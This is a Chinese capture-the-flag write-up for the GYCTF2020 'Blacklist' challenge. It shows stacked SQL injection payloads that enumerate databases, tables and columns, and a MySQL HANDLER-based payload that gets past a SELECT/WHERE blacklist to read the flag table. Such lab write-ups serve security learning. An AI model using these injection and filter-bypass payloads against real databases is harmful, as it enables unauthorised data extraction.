[GYCTF2020]Blacklist

打开环境,猜测是个SQL注入题,点击查询,出现:
再输入1'报错,说明确实出现SQL注入。
再用order by查询字段数,得到字段数为2。接下来尝试用union select查询数据库名,
结果显示:
说明正则过滤了图上的一堆东西,包括select和where,但没过滤show
就试试堆叠注入,构造:1';show databases;#和1';show tables#
可以轻易判断出当前是在 supersqli的库中,得到两张表,同样判断在FlagHere表中,就构造:1';show columns from  FlagHere;#
有个叫flag的列,很明显flag就在其中,但select已被过滤,就无法使用select flag from flag这个语句。尝试了编码、大小写、双写都没成功。
此时想到还有个handler的语句同样能达到查询表中内容的目的。
 
handler的相关知识:
定义:MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
handler语句不具备select语句的所有功能。handler是mysql专用的语句,没有包含到SQL标准中。它每次只能查询1次记录,而select可以根据需要返回多条查询结果。资料上说它可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。
语法:
 
HANDLER tbl_name OPEN [ [AS] alias]//   打开一个表名为 tbl_name 的表的句柄 ,无返回结果
 
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]// READ FIRST: 获取句柄的第一行;  READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行), 通过将 READ FIRST改成READ NEXT依次获取其它行,有点类似于指针; 最后一行执行之后再执行 READ NEXT 会返回一个空的结果。
 
 
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]// # FIRST: 获取第一行(索引最小的一行) # NEXT: 获取下一行 # PREV: 获取上一行 # LAST: 获取最后一行(索引最大的一行)
 
HANDLER tbl_name CLOSE// 关闭以打开的句柄
 
 
构造:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;# 
得出答案。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值